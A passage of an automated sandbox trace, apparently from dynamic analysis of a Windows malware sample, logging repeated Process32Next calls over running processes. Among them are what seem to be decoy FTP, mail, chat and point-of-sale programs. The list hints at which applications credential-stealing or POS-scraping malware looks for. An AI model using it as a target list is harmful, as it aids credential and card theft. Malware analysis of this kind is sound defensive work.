th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.431] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.433] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.437] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.440] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.442] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.443] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.445] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.448] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.451] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.453] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.455] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.457] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.459] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.461] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.463] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.466] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0245.468] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0245.471] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.474] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.476] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.648] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.651] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.653] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.656] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0245.658] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.660] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.663] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.666] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.668] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.670] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.673] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0245.675] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0245.677] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0245.680] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0245.682] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0245.684] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0245.687] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0245.689] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0245.691] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0245.693] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0245.696] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0245.699] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0245.702] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0245.705] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0245.709] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0245.712] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0245.714] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0245.716] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0245.719] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0245.722] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0245.725] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0245.730] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0245.733] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0245.737] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0245.740] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0245.743] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0245.745] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0245.748] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0245.751] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0245.754] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0245.757] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0245.790] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0245.793] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0245.795] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0245.797] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0245.800] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0245.802] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0245.804] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0245.806] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0245.810] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0245.812] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0245.830] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0245.832] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0245.835] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0245.837] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0245.839] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0245.842] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0245.844] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0245.846] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0245.848] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0245.850] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0245.853] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0245.855] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 